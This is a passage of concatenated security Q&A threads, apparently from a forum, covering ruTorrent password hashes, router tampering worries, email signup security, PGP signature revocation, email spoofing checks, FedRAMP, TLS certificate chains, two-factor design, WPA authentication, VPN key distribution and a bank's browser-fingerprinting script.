it is but that didn't work out.

This hash was generated by rutorrent (I believe) and is placed in
the file named "htpasswd" from "/etc/apache2". Maybe some of y'all
might know what it may be? Please do help me if you can...I'm stuck on
figuring out what this could be heh.

32-hex hashes are impossible to indirectly verify, programatically or heuristically. The only way to verify is directly - by actually cracking at least one.

For future searchers, according to this Arch Linux page, ruTorrent password hashes are straight MD5, and not some kind of nested/truncated/salted variant:

$ echo -n "tom:rtorrent:secret_pass" | md5sum | cut -b -32
6a4aaa1091eb2d1d025bbd692dee3f0c


How to detect surveillance in home network? Last week, my cable modem went dead, and the ISP guys came over to my house and replaced the modem, but they came while I was away.

I was told that they spent a very long time configuring my cisco linksys wireless router and TPLink wireless repeater. For some reason paranoia kicked in and alarm bells started ringing in my head, I got to thinking that maybe they were installing some sort of spyware to monitor my home network traffic, maybe some kind of MITM. Since they came I haven't been able to open the web admin panel, it just shows a 502 bad gateway error and I haven't had time to fix it.

I am an IT guy but not exactly a security expert. How do I find out if there is such a thing?

Notes:

this is in a far east country where consumer protection laws are practically nonexistent.
just to clarify it doesn't necessarily have to involve the ISP, I also consider the possibility that it's just a couple of rogue technicians  installing surveillance for their own purposes.

If the installers were a higher skill level than you, then they could do something entirely undetectable by you.

That said, unless you have very good reasons for expecting someone to try and bug your network, it is a fairly irrational worry. These guys came from your ISP - and ISP's generally try to avoid committing criminal acts like that, as it can really harm business.

A much more likely reason for it taking a long time (and how long were you expecting exactly?) is that configuration for your network or line didn't work as smoothly as possible. This kind of thing happens all the time - a 2 minute upgrade becomes a 2 hour upgrade as some unexpected hiccup occurs.

Tl;dr - paranoia is generally unfounded for most folks. If you are a target, then worry. If not, remember state-level surveillance of the population doesn't happen at the home router end of things...

So, now that's out the way, here are some ways to detect surveillance:

compare firmware with a known-good machine
compare configuration with a stock machine
monitor traffic and routing

Your mileage may vary - it is possible to hide all sorts of things. If you are very worried, change ISP and router...assuming you trust another ISP.


How to securely collect email addresses through a third party website I would like to collect email addresses through a third party website and subscribe them to a Sendgrid mailing list.

Flow:

User goes to a website hosted by unbounce.com that uses my website's domain

--->
Enters their email address in an iframe hosted by my domain test.com

--->
Answers the reCaptcha question

--->
On our backend, we make a request to the Google API to verify the user's response.

---->
Once verified, we subscribe the user's email address to a Sendgrid list.

Security concerns:

Hacker subscribes users to sendgrid list unknowingly
DDOS
Email address exposed because not stored in secure manner
Email address exposed because not sent to Sendgrid in secure manner

Are there any other security concerns that need to be addressed when collecting email addresses from an unauthenticated page on your site?

Also is reCaptcha enough to address these concerns of exposing such an API endpoint to the outside world?

Are there any other solutions that I should look at or any other security concerns to address for solving the problem:

Collect email addresses from interested third parties through an unauthenticated page at scale.

This is asking a lot of questions... I'll try to suggest solutions where I can.

  Hacker subscribes users to sendgrid list unknowingly

The generally-accepted solution to this problem is double opt-in. After the user submits their email, send them an email with a verification link. Your Captcha solution should help reduce validation link spam, but you could also limit the number of emails sent to a given address in a given time period.

  DDOS

This is a pretty vague consideration, and a good answer depends on who you are trying to protect from DDOS. I'm also not very well-versed in DDOS protection schemes, so I'll take a pass on this part.

  Email address exposed because not stored in a secure manner

This again will depend a lot on the specifics of how and where you store the email address. There are essentially two parts to a good solution for this part:

Access Control
Encryption

Access control is the practice of limiting people's ability to retrieve information. For example, the homepage of your website would typically have no access control. But if you have an admin page, that would require a username and password to login to view the page.

A lack of access controls in the default settings for MongoDB has resulted in breaches to thousands of databases that people have inappropriately exposed to the internet.

Given that there are so many forms of access control, it would be difficult to provide guidance on access control without more information. Conceptually, just be sure there is some step, somewhere in the process of retrieving the information that would require some sort of secret key, or passphrase to gain access to the stored information.

Encryption is the next level of defence, requiring an additional key to read the information even if someone physically gained access to the list of emails. Column-level encryption in a database would mean that even if someone gained access to query the database, they would need an additional encryption key to read the address.

This has the side-effect that you typically cannot search over encrypted fields. As a result, only the most sensitive information is typically stored with this type of strong encryption... things like Social Security Numbers.

  Email address exposed because not sent to Sendgrid in secure manner

This is a pretty simple question to answer. Use HTTPS. Assuming it is a server-side application submitting the email address to Sendgrid, do not ignore certificate errors on https requests. That's about all you need to do. Since you're entrusting Sendgrid to hold the email address, you will also need to trust that they are storing them safely, and have properly implemented TLS on their list management API.

For your part, to protect the email addresses that you have stored in a third-party mailing list service... protect your account keys. Don't store API keys in source control. Use a strong password for your user account. Turn on two-factor authentication if available. The easiest way an attacker will get into that mailing list application is not by breaching SendGrid, it's by stealing the keys from you.

  Are there any other security concerns that need to be addressed when collecting email addresses from an unauthenticated page on your site?

See the part above about double opt-in. Confirming that the someone controlling that email address by sending them email, before sending them anything, is about all you need to do when entering an arm's-length relationship with a mailing list subscriber.

If you are doing more than just marketing to them - for example, they are a patient at a medical clinic and you want to share prescription details with them - it is best to force them to create a user account first, and verify their identity by some other means. The kind of private information you need to verify them as an individual person should typically not be sent via email.

  Also is reCaptcha enough to address these concerns of exposing such an API endpoint to the outside world?

What reCaptcha will provide you in the scenario is confirmation that the user is a person, and not an automated script trying to submit a list of stolen email addresses to your service to be spammed. It's enough to keep you from sending out a lot of validation emails through the double opt-in. reCaptcha alone will not protect you from someone submitting other people's emails to your list.

  Are there any other solutions that I should look at or any other security concerns to address for solving the problem:

  Collect email addresses from interested third parties through an unauthenticated page at scale.

One other tool you might find helpful is a system to validate the addresses themselves. Mailgun provides any API for their customers to validate emails on a number of properties, including whether or not the email actually points to a valid domain. Checking this will help your system avoid someone stuffing your validation system with emails that will hard bounce.

If you're sending information of any value, you might also want to avoid sending emails to any of the domains provided by services like Mailinator, since these addresses just go to publicly-accessible mailboxes that are owned by no-one. An email validation API like Mailgun's may help you here too, since someone will have taken the time to curate that ever-changing list.


Wrong pgp key was signed Someone signed my PGP key, by accident (we have never met, but I know the person a little).

The wrong signature was uploaded to the SKS pool.
Is there anything we can do about it to improve the web of trust again?

They can revoke the signature using the revsig command of gpg --edit-key then re-upload the key to the keyservers.  Alternatively you could meet up with them demonstrate your bona fides and make the signature retroactively true.


Email sender spoofing check from receiver I understand there are techniques to prevent someone from spoofing your domain in emails.
Is there any guarantee or check that the receiver can do to ensure the sender is authentic?
Gmail shows TLS and signature information, is that sufficient to guarantee the authenticity of the sender when present?

Message authentication methods such as SPF, DKIM, and DMARC can be used by a message recipient to determine whether the domain of the apparent sender may have been spoofed.  These standards are based on information published in the DNS for the sender’s domain.
In the case of SPF, an SPF record is published in the DNS for a domain to specify the SMTP servers that are authorized to send mail from senders in that domain.  If a spoofer tries to send a message appearing to be from *@paypal.com, he is unlikely to be able to relay the message through one of the SMTP servers designated in the SPF record for paypal.com.  If he tries to send the message through a SMTP server other than one that is designated in the SPF record for paypal.com, the recipient’s spam filter would likely detect this mismatch and determine that there is a high likelihood that this message was spoofed.  As pointed out in the comments by @SteffenUllrich, the shortcoming of SPF is that it only applies to the domain of the sender address in the MAIL FROM of the message envelope, which is generally not seen by the recipient.  However, DMARC can be used in conjunction with SPF to apply to the sender address in the message headers as well.
In the case of DKIM, a DKIM record containing a public key is published in the DNS of the domain.  A signature over a hash derived from the message body and headers is created using the private key corresponding to that public key, and this signature is included in the headers of the message.  If a spoofer attempts to send a message appearing to be from *@paypal.com, he would not have the private key, and therefore would not be able to create a valid signature.  Therefore, if the recipient’s spam filter is able to verify the signature using the DKIM public key published in the DNS of the purported sender’s domain, then it’s unlikely that the message was spoofed.
As pointed out by @SteffenUllrich, all of the above frameworks validate the sender’s domain, but not the particular sender.  In addition to (or instead of) these frameworks, the sender can sign the message using an S/MIME or PGP/GPG signature. If the recipient has the sender's public signing key, then the recipient can use the public key to verify the signature. If the signature verifies, then this proves that the sender (or someone else that has the sender's private key) signed the message.


Does FedRAMP apply to the cloud hosting environment, the software being hosted, or both? Our company is limited to using products that maintain FedRAMP compliance, and we are looking to implement a new data collection tool.  We are interested in a product that utilizes Microsoft Azure, which I understand is FedRAMP compliant.  Is FedRAMP something that applies to this new software (or company that develops it)  that is being hosted in MS's Azure environment? Or only to Azure itself?

As someone relatively new to the cybersecurity world, I want to be sure I understand the scope of FedRAMP and how it affects our options going forward.

REF: https://www.fedramp.gov/faqs/

It looks to me like you  need to have everything authorized.

  If an Agency purchases an outsourced service (software) that is built
  on top of a cloud platform, how is that handled within FedRAMP?

  Obtaining a FedRAMP authorization requires all system components be
  assessed based on the control requirements in the FedRAMP baseline. If
  a FedRAMP authorized IaaS is leveraged, the Agency only needs to
  assess controls that are not addressed by the managed IaaS provider.
  If a SaaS is hosted on a FedRAMP-authorized IaaS, the SaaS vendor
  would need to have a separate FedRAMP authorization. The IaaS
  authorization would remain as-is and then the SaaS would
  leverage/re-use the IaaS authorization and applicable security
  controls (for the IaaS portion of requirements). If a SaaS or PaaS is
  leveraging a non-FedRAMP authorized infrastructure, then the entire
  FedRAMP stack would need to be authorized together.


What are the weaknesses of my authentication scheme? So, recently, after going through some infosec training (FutureLearn's Introduction to Cyber Security, which I heavily recommend as well-explained newbie material), I decided to take the plunge and finally up the security of my authentication in password-protected computer systems. My goals were to...

Use unique passwords for every password-protected service which I have access to
Make them as resilient to guessing, brute force, and dictionary attacks as practically feasible
Use two-factor authentification based on something I have whenever feasible
Avoid relying too much on the availability of a specific computer (e.g. cellphone), object or service (e.g. network coverage), basically stuff that can easily be broken and stolen
Automate any kind of data synchronization that is required

I came up with a scheme which I am pretty satisfied with, but I would like to check with someone more experienced that I fully understand its strengths and weaknesses. And this is where I need your expert help, if you have some time to help me with that. Of course, feel free to reuse that procedure for yourself too, there's no copyright on it.

So here goes :

In the general case where I have access to a trusted computer with an Internet connection and a USB port, I use LastPass to generate, manage and sync random per-service passwords, with a strong master password and a Yubikey as a second factor of authentication. 2FA is enabled for services that support it in a sane way.
For cases where trusted computers or network connections are not available, I have also configured Lastpass to accept offline logins on my cellphone, using only the master password. Two-factor authentication is maintained by configuring Lastpass to only accept online logins from this cellphone's UUID.
Finally, for logging into computer sessions, including my cellphone, I chose to assume the availability of no software tool, and use passphrases. These passphrases are generated in my head based on service identification and stuff that is ridiculous enough that I will remember it. Fake examples of such could be "HeyAmigo!IDonQuichoteDemandAccessToThisMac" or "OMG!Raptors!ToTheUNIXSystem!".

Now, no system is perfectly secure, of course, which is why I wanted to be sure that I understand where the weak points of this authentication scheme lie :

As with any password manager, I need to pick a very good master password for LastPass, as the incentive for cracking it is high.
I need to trust the LastPass client to be secure on any platform, in sense of working as advertised (e.g. generating truly random passwords) and leaking no sensitive data.
I need to trust my YubiKey's write-only access scheme to be effective, and the Yubico servers not to leak my AES key, for YubiKey authentication to remain secure.
My trusted computers, including my cellphone, need to be devoid of keyloggers and other kinds of malware which would be able to intercept LastPass' master and service passwords.
LastPass' cellphone UUID mechanism, for which I have found no technical documentation, must be secure : IDs need to be actually unique, and forging them needs to be infeasible.
My login passphrase mechanism is probably less secure than the randomly generated passwords which I use elsewhere. With long passphrases (10 words or more, including uncommon ones), I trust it to be invulnerable to brute force and dictionary attacks, but it may be vulnerable to guessing from someone who knows me. So it may be hardened enough for local login, where I also have a second factor of authentication (physical access to the machine), but for remote access I might want something stronger.

Do you think I got it right, or see another weak point in my authentication scheme that I might want to be wary about and try to harden in the future ?

The UUID of your cellphone isn't a meaningful second factor as it can be spoofed.

On the long passwords, it is reasonably secure to use long, sentence based passwords, but the amount of security provided drops DRASTICALLY if it has anything to do with what you are connecting to.  It may still seem hard to guess, but establishing a relationship rather than pure entropy means that there is a far FAR smaller pool of possible passwords to choose from.  This is bad for password security.  Even if it only reduces it to a few million possibilities, that is still easily brute force-able.


Python Requests SSL Verification I'm currently messing around with the Requests module in python, which allows you to specify a SSL cert to use in your request, using the following command

url = r'https://www.google.com'
cert_path = r'C:\mystuff\google.crt'
requests.get(url, verify=cert_path)

Requests stores its trusted CA's in a PEM file located at python/Lib/site-packages/requests/cacert.pem. If you specify 'verify=True', then it will search cacert.pem.

I'm viewing the Cert for https://www.google.com through Chrome, and it has the following cert path.

GeoTrust Global CA -> Google Internet Authority G2 -> www.google.com

What I find strange is that when I pull out all of the GeoTrust related SSL Certs out of the cacert.pem store, put them into their own GeoTrust.pem, and point requests at that file, the handshake fails.

However, through trial and error, if I remove the very first SSL cert from cacerts.pem, which is "Equifax Secure CA", put it into it's own cert file, and point at that, the request works perfect.

In essence, why is a request using a GeoTrust cert being denied against a url setup with a GeoTrust cert? And why would it work when specifying the Equifax root?

I have also attempted to copy directly from google through chrome the GeoTrust root certificate as Base64, and add that to GeoTrust.pem, but the handshake still fails.

I'm new to this, so any help would be greatly appreciated

I'm new to this, so any help would be greatly appreciated

This is actually an issue were not only newbies despair. The issue is complex and depends on specific implementations and bugs in the TLS libraries involved. Thus it is not really your fault that it does not work as expected. I hope the following explanation can be understood:

There are actually several trust path to a trusted certificate. What the server sends as certificates is this:

#0 CN=www.google.com SAN=DNS:www.google.com
#1 CN=Google Internet Authority G2
#2 CN=GeoTrust Global CA

The last certificate is signed by #3 OU=Equifax Secure Certificate Authority which is not included in the chain sent by the server.

The NSS library used in Chrome and Firefox starts at the top and checks for each certificate if it can find a trusted CA which signed this certificate, i.e. a certificate which exists in the local trust store. It will stop with the validation at certificate #1, because it has a local certificate for GeoTrust Global CA which can be used to validate certificate #1. Thus it is done with validation and ignores certificate #2.

OpenSSL up to version 1.0.1 (at least up to 1.0.1p) works different. It will look at the whole chain and try to find a trust anchor for the last certificate in the chain. Since often servers send the root certificate inside the chain (which is wrong) it will eliminate all self-signed certificates from the chain before it will look for the trust anchor (since root certificates are usually self-signed).

In this case the certificate #2 for "GeoTrust Global CA" is not a self-signed certificate (signed by Equifax) and will not be removed. It will thus try to find the issuer for this certificate #2 "GeoTrust Global CA" in the trust store to built the trust chain. If you included the certificate #3 (Equifax) in the trust store (file name in verify parameter) then all is fine and the validation succeeds. If you only include the "GeoTrust Global CA" in the trust store the validation fails because this is not the correct trust anchor for certificate #2. OpenSSL 1.0.1 is too dumb to realize that this would be the perfect trust anchor for certificate #1 and thus the validation fails.

The situation was changed finally (more than 3 years after I reported this kind of bug) in OpenSSL 1.0.2. If the first attempt to validate the chain fails it will remove the last certificate from the chain (certificate #2) and retry. In this case it will succeed. That means if you would use a version of Python built with OpenSSL 1.0.2 then it should be fine. For more details about the different ways of validating the trust path see the last comment at OpenSSL bug#3621.


What are reasonable alternatives to "Trust this computer" prompts when signing in? User feedback for a bank authentication website included this comment:

  It's annoying to get verification codes to my email or phone every time I log in to my Bank account from a new device

...and I'm looking at using implied trust to give the same assurance, but with less end user friction.  In other words, I'm revisiting the User Experience of this approach.

What other options exist?

Edit: Implied trust is probably better described as transferred trust.  Suppose I have a non cloneable hardware device.  If that hardware device is involved in the authentication process, then there probably shouldn't be a need to have a "trust this computer" dialog.

The Bloomberg Authentication device, a smartcard, or others fit this description.

There are obviously alternatives to making the second factor of two-factor authentication be the user logging in from a trusted device. There are also certainly alternatives to authenticating that a certain device is in the control of that user before it's registered as a "trusted" login device for that user besides the security code method.  *The hard question is whether there are any of either methods that are clearly, unambiguously better in terms of usability, across your whole population of users. While also filling the heightened level of security needed for a banking site

To be honest, I kind of doubt it.

Let's illustrate by example:

Some alternative methods of 2FA to authenticating a user robustly on first login from a specific device/machine then considering it as "trusted" for logins thereafter:

One-time PIN authentication token:
Doesn't require the user to have a network-connected phone or PC to, say, get a security code. Does require the user to physically carry around the token wherever they might want to access their account. (Also requires bank to distribute them. Probably wouldn't make financial sense to do just for users only to get a code the first time per device they wanted to use, assuming you did want to keep the trusted-device scheme. But, OTOH, if you wanted to go for a more secure arrangement where users need a code at each login it might.)
USB 2FA device of some sort:
May not require user to fool around entering codes & such, but obviously requires users to physically carry around, just like a token. Plus, may only be able to use to log-in from machines/devices with a full USB port.
Making user get a security code via an SMS or authenticator phone app:
Doesn't depend on what device user logs-in from, but obviously is dependent on user having their phone with them. Essentially what you're doing now to authenticate before adding a new device as trusted, except that you would be making the user get a code from his/her phone for every login.
Making user get a security code sent via email:
Would allow user to log-in from any machine/device where he/she could access their email. Would also require each user to get a code for each login, plus go through hassle of logging-in to a separate account/service and then logging-in to yours.  (Not even mentioning security implications/drawbacks, of course.)
Checking whether the user is logged-in to another service that you trust the authentication security of:
Lots of services nowadays make use federated identity from a larger, 3rd party-service, of course.  So far,  they've typically been used as a sole authentication factor by services that don't require particularly strong security (like blog commenting) and don't want the hassle of setting up an authentication scheme themselves.  But there's no technical reason (that I know of) that you can't use it as a second factor. This might avoid user impatience with an extra-authentication factor when a user is logging-in from any device where he/she is typically logged-in to the other service.  But where they aren't, users might be as or more irritated by needing to log-in to another service as they would be using a security code.
Smartcard:
Deploy a USB portable smartcard reader and smartcard to each user. Would, of course, require user to have both whenever & whereever he/she wanted to login.

(-Doable-but-not-considered: Using facial recognition as a biometric second factor from any device with a commodity camera.  Flexible, but laughably insecure. Maybe if/when more devices will be packing RealSense or similar camera hardware... )

I'm sure you get my point.  If there were an obviously more usable, practical-to-deploy, and at-least-as-secure* method of doing the second factor of 2FA out there right now as the security code---> trusted device way it would probably be well-known and in very wide use.  Instead, that model has fallen into a role as a semi-defacto standard among the biggest services on the net that use 2FA.  I think that's largely because asking somebody to take a few moments to use a security code the first time they log-in from a device (and perhaps make a few especially sensitive actions within the service) is a pretty minor imposition.

The occasional grumpy user with zero care about the security of their banking service notwithstanding. :)

Oh, about the checkbox to giving the user the chance to decide whether a device should be deemed "trusted", while it is an extra thing that some users will puzzle over and the mental attention needed to choice that inspire a little bit of that feeling of friction, many users even today still log-in to their banking sites from devices they share or don't otherwise control. Even, yes, from publically-shared computers. [Sigh.]  That's something that at least deserves serious consideration when thinking about whether to have the checkbox and, if so, what the default state of it should be. (As many, if not most, users will just leave whatever the default check or non-check is alone.)

*Personally, I'm not a huge fan of the device-trust mechanism in something like a banking-site role.  There are some potential issues with it that make it an arguably less-secure mechanism than requiring an SMS or authenticator app code. But I understand that, in the real world, sometimes one has to trade a little security for a larger improvement to User Experience.


Authentication in WPA from a user's perspective I have read several articles that discuss the differences between WEP and WPA but I haven't seen an answer to my question, which is :

How is the authentication used in WPA different from that used in WEP from a user's perspective?

Whether I am accessing an open network using WEP encryption ("Security Type" set to "Open" in Windows 7 for example) or I use one of the WPA variants for authentication, in both cases I simply type in the network security key associated with that network's router. So how is one doing more "authentication" than the other?

Though you wanted to know the authentication part, here I will be trying to explain a bit more than that which may help us build up some basics about this.

WLAN Encryption Methods: 5 types -

802.11 Legacy or WEP
WPA Personal
WPA Enterprise
WPA2 Personal-802.11i
WPA2 Enterprise-802.11i

Wired Equivalence Privacy (WEP): IEEE released the initial 802.11 standard, all of the security relied on the Wired Equivalent Privacy(WEP) algorithm. This algorithm was responsible for both authentication and encryption. WEP support 40-bit key and 104-bit key with 24bit IV.
The procedure of authentication and encryption of user end are described bellow:

Generating a unique key using 24-bit random IV (Initialization vector) + 40/104 bit key.
Generating a random number stream with RC4 using the unique key.
Generating the hash value using CRC-32 of the plaintext message.
Append the hash value with plaintext message to create payload.
Then the payload gets encrypted with random number stream (created by RC4 at step 2) to create Cipher text.
Then cipher text append with same 24-bit IV (used at step 1) in plaintext and transmitted to air.

Decryption procedure (AP end) is slightly reverse the procedure above.

WiFi Protected Access (WPA): WiFi protected access or WPA is also known as 802.11i. This is a whole lot more complicated than WEP. But to make things simple I will skip lots of detailed concepts. Let's see how 802.11i works.

802.11i consist of following phases:

1. Key Configuration: Dynamic encryption key management is much more complicated under the 802.11i. In this phase Access Point and client, both will engage in a key generation mechanism just to securely transmit broadcast and multicast traffic. Procedure at client-end are:

Store your Pre-shared key as Pairwise Master Key(PMK)
Create Pairwise Transient Key(PTK) from Pairwise Master Key.
Dividing pairewise transient key into 3 important key. i) KCK ii) KEK iii) Temporal Key (TK)
Temporal Key is then used for unicast frame encryption and further used as an input key at the encryption phase.

Access Point also goes through several steps to create a key called GTK (Group Temporal Key).

2. Authentication: To authenticate, 802.11i follows the following procedure:

Initiation: By frequently transmitting EAP-request(Extensible Authentication Protocol) frame to AP/Client from Client/AP, any one of them responds with EAP-respond frame which includes devices MAC address. Then AP forward this response to the authentication server (RADIUS SERVER).
EAP Negotiation: After having EAP-respond from AP, authentication server then forwards request to follow EAP procedure to AP  and then AP send that to Client.
If the client agrees with that procedure then client complete authentication by following EAP. If everything goes smoothly, the authentication server generates a Master Session Key(MSK) and delivers it to the client and then to the AP. The client and AP derive the PMK from the MSK and then begin the 4-way handshake

3. 4-way handshake: After completing authentication successfully Client and Access Point engaged in a 4-way handshake to establish a connection. 4-way handshake has shown bellow are drawn with ASCIIFlow.com and shamelessly copied fromThe Evolution of 802.11 wireless security by Kevin Benton

 +----------------+            +-----------------+
 |     Client     |            |   Access Point  |
 +-------+--------+            +--------+--------+
         |                              |
         |                     +--------+--------+
         |Cleartext "AckNounce"| Generating a    |
         |   <-----------------+ random Number   |
         |           1         | "AckNounce"     |
+--------+--------+            |                 |
| Generating a    |            +--------+--------+
| random number   |                     |
| "SynNounce"     |                     |
|                 |                     |
+--------+--------+                     |
         |                              |
+--------+--------+ Cleartext SynNounce |
|PTK=PRF(PMK,     | +KCK - Encrypted    |
|Client Mac,      | MIC                 |
|AP MAC, AckNounce+----------------->   |
|,SynNounce       |        2            |
+---------+-------+                     |
          |                    +--------+--------+
          |                    |                 |
          | KEK - Encrypted GTK|PTK=PRF(PMK,     |
          | + KCK - Encrypted  |Client Mac,      |
          | MIC                |AP MAC, AckNounce|
          |   <----------------+,SynNounce       |
+---------+-------+    3       +--------+--------+
|                 | KEK - Encrypted GTK |
| Verifies AP     | + KCK - Encrypted   |
| if AP has correct MIC                 |
| PTK by          |                     |
| decrypting      +---------------->    |
| Messege and M IC|       4             |
|                 |            +--------+--------+
+---------+-------+            |Verifies AP      |
          |                    |if AP has correc |
          |                    |PTK by           |
          |                    |decrypting       |
          |                    |Messege and M IC |
          |                    +--------+--------+
          |                             |
          +                             +

4. Encryption: When client successfully complete key configuration, authentication, and 4-way handshake then regular traffic get encrypted by Temporal Key Integrity Protocol (TKIP) or the Counter Mode with Cipher
Block Chaining Message Authentication Code Protocol (CCMP). Both TKIP and CCMP use Temporal Key as input key for encrypting traffic.

Basic difference between these 5 methods are,

+------------------------+--------------------------------------------------------------+
|Standard                | Authentication method      |Encryption Method  |Cipher       |
+---------------------------------------------------------------------------------------+
+---------------------------------------------------------------------------------------+
|802.11 / WEP            | Open System or Shared Key  |WEP                |RC4          |
+---------------------------------------------------------------------------------------+
|WPA Personal            | WPA Passphrase             |TKIP               |RC4          |
+---------------------------------------------------------------------------------------+
|WPA Enterprise          | 802.1x/EAP                 |TKIP               |RC4          |
+---------------------------------------------------------------------------------------+
|WPA2 Personal/802.11i   | WPA2 Passphrase            |CCMP (default)     |AES (default)|
|                        |                            |TKIP (optional)    |RC4 (optional|
+---------------------------------------------------------------------------------------+
|WPA2 Enterprise/802.11i | 802.1x/EAP                 |CCMP(default)      |AES (default)|
|                        |                            |TKIP (optional)    |RC4 (optional|
+------------------------+--------------------------------------------------------------+


How can I edit HTTP request in OWASP ZAP and send the edited request? I'm aware of setting a breakpoint on a particular request and then when the request is made in the browser, the http request can be modified in ZAP. But is there any way in ZAP, by which an already made request can be edited and sent?

For example:

Then how can I edit such request and send it through OWASP ZAP?

Did you try right click, "resend"? Then you get a new window and in the "Request" tab you can change the parameters. Maybe it doesn't work in the "Sites" pane and you need to go to the "history" tab in the bottom.


Can hash collisions be eliminated by hashing twice? Suppose I have a file verified.txt that has a certain hash X.

An attacker can form an impostor.txt that replicates the hash with different content, resulting in a collision for a given algorithm, and rendering the hash test useless.

However, could this be prevented by performing a second hash with a second algorithm, and comparing both hashes?

For example, are MD5 and SHA-1 dissimilar enough that a collision could not be created for both at once?  Can I rely on the combination to be more secure?

Second hash will reduce probability of collision (i.e. it is more 'secure') but unfortunately it can not completely eliminate it.

From my point of view single long hash (such as sha512) is better than two short hashes because collision for two hashes can be searched in parallel and will take less time.


distributing files to VPN partners suppose i've created VPN certificates for a certain VPN-RoadWarrior-Client, expressed in the files VPN-RoadWarrior-Client.key and VPN-RoadWarrior-Client.crt*, however VPN-RoadWarrior-Client is actually in Sweden most of the year, so i need a secure way to deliver these keys to them remotely without compromising the security of the certificate themselves.

So this is a problem of how to bootstrap VPN security with remote clients in a sane way. For example, I could use truecrypt but then i would have to exchange a password through some unsecured channel

Is there some secure way to bootstrap the transfer of the keys?

my preliminar answer is to request the client to run some program that generates public/private key pair, ask him to send me the public key (which would have to be confirmed over phone, which is widely assumed to be a channel that even if non-secure, preserves integrity of the messages, which is what would really matter for validating a public key), and i would use the public key to encrypt the files and send them over insecure channels

is there such a program that can encrypt files based on a public key and decrypt from a private one?

I also need to distribute CA.crt but for the purpose of the question, i'm not concerned with the security of distributing this key

Your preliminar answer is a good one, if they can install programs use GPGP: http://www.gnupg.org/

Get them to generate a key pair, email you the public key, encrypt whatever you want to that and return over email.

Alternate options are:

Encrypt with Winzip AES256 option, choosing a long complex password (goodpassword.com) and exchange that out-of-band e.g. phone, sms
Place the files on an encrypted removable media e.g. hardware encrypted such as Ironkey or encrypted CD / USB and send this via courier / post. Exchange password out-of-band. This is more suitable for larger files than just a certificate and key.

Depending on your risk appetite and the information and systems the VPN provides access to you maybe comfortable also using a "secure" file sharing option e.g. Dropbox or Google apps folder


How can I stop an account I don't control from sending spam email in my name to my contacts? Recently I received an email from a friend with "My" email to them attached.  The email "I" sent them was obviously spam, one of those "You have to see this..." emails.  The email had been sent to several people form my contacts list, but the email address sending the email was not my own, or one that I had ever owned.  So of course I went through all of my email accounts, even my work email, and found no sent items matching the spam email that was sent.  Because the email didn't seem to originate from any account that I owned I didn't see the point in changing the passwords on any of the accounts.  It's my name, they are my contacts, but the account that sent the email is not mine.  So obviously they have my name, and contacts, and have created this factious account and are sending spam to these people as me.  I have no idea how to stop or prevent this?

I see my options as;
Try sending an email to all of those people requesting that they block this email address that I don't own.  Which would likely be categorized as spam its self, and possibly ignored.  OR

Do nothing, and allow my friends to suffer more spam to their inboxes.  OR

Email the false address, possibly confirming that the information they have is valid, resulting in who knows what.

The only kind of up side to any of this is that I know at least some of the addresses are so old that they no longer exist, but who's to say that the next time they won't use other contacts of people who actually exist, or that this isn't just the first wave and there will be more to come, possibly under a different email?  I really feel stuck and frustrated.

After thinking about and writing this question the only way I can see this happening would be an app on a phone or device.  Many of them want to access your friends, or contacts, which I'm always leery of.  The one I'm usually most leery of are the ones who want to connect to my FB account.  However none of these are from FB, they are all strictly email contacts, and I can't even narrow it down to one account because most of them I've shared with multiple accounts.

OK now I'm answering my own question, but I guess my next step would be to go through the names in the email, put each into one account until I come to one that doesn't auto suggest, when I find one that excepts them all I will have found my compromised account.  Then I can cross reference that account with known apps, and sites that I've shared it with to try and find the culprit responsible.

Bear in mind that if you and your friends all have each other as contacts the email could have been sent from one of their systems and simply masqueraded as you. The from address in an email is very easy to spoof, so just because it says it is from you (or a made up address that has your name so that it looks like you) it does not necessarily mean it was actually sent by that address.

You could look at the email headers (or more accurately, unless your friend sent you the actual email itself and did not just forward the email as that would not preserve the headers, they would have to look at the headers of the original email on their side) to determine where it actually came from. This might let you narrow it down some to see if it came from to make sure it was not something like a virus sending out from your system(s) as you. You should at least be able to see the hops the email took (as shown in the Received lines in the header) to get an idea of the path it traveled. I would say that is a worthwhile exercise just to make sure that the origination does not show it coming from you system (which would then have me running virus scans to see if I have an unexpected visitor).

Lastly, if all the contacts in the email are indeed ones you have... then I would still change my passwords. The two primary ways that your contacts could be exposed (again assuming they were actually exposed from one of your accounts) are either based on something running locally on your system which was then able to gather your contacts, or by access to your account. That being said, I would make sure that there are no viruses running locally before changing your passwords... if there is you are just providing the new access to the existing virus.

I do also agree with the comment posted that says the damage is already done. If your contacts were extracted off your system, then they are already known by a spammer, so letting your friends know that the sending address was a bogus one would not hurt. This does not mean that next time the sending address could not be some variation of your name trying the same thing again. What can I say, spammers suck.


What is the purpose of a requesting a non existent resource nwolb.com the site for Natwest Online Banking (a UK based bank) makes two requests to non existent resources.  For example:

https://82.13.77.77:4531/NonExistentImage20297.gif
https://127.0.0.1:4817/NonExistentImage25060.gif

What is the purpose of this?  Is it some kind of webapp security hardening?  It seems the port numbers and image numbers change but the ip addresses (external and loopback) do not.

I agree with the others that this is probably not web app hardening but instead per this forum post

https://www.wilderssecurity.com/threads/strange-links-from-my-banking-website.361064/

Is probably

"... just plain visitor tracking evilness..."

  Did this happen to be from a capitalone.com domain? I happened to see
  a blocked script from 127.0.0.1 plus my public IP in my NoScript
  listing. This kind of freaked me out, since (of course) it was our
  credit card site.

  I did some digging, and that appears to come from an 'fp_AA.js' script
  located at:

  https://login1.capitalone.com/resources/jscript/fp_AA.js

  I de-minified that script, and posted it here:

  http://pastebin.com/P3WiGzDG

  The relevant code calling the image is at line 509:

  ProxyCollector.doAjax = function (k, l) { var j =
  document.location.protocol + "//" + k + ":" + getRandomPort() +
  "/NonExistentImage" + getRandomPort() + ".gif";

  So, it appears to be some kind of browser fingerprinting/proxy
  collector JavaScript. Perhaps it's trying to do an nmap-style TCP
  fingerprint of the response when it sends an HTTP request to a closed
  port?

  Also interesting is that I'm seeing those UUIDs listed on line 459
  mentioned at:

  http://www.browserleaks.com/javascript

  And there's an interesting read from Mozilla about browser
  fingerprinting at:

  https://wiki.mozilla.org/Fingerprinting

  It doesn't appear to be malware, just plain visitor tracking evilness.


IPsec (Internet Protocol Security)  facts Internet Protocol Security (IPsec) is a successor of the ISO standard Network Layer Security Protocol (NLSP). What are the advantages, disadvantages, other interesting facts regarding the protocol?

IPsec is actually a family of protocols, it has several sub-protocols that could be used or not used, and the overall security depends on each of these in turn and how they're configured:

IKE for protocol negotiation and key management
AH for authentication, integrity and I think some protocol protection
ESP for encryption and then some.

Advantages:

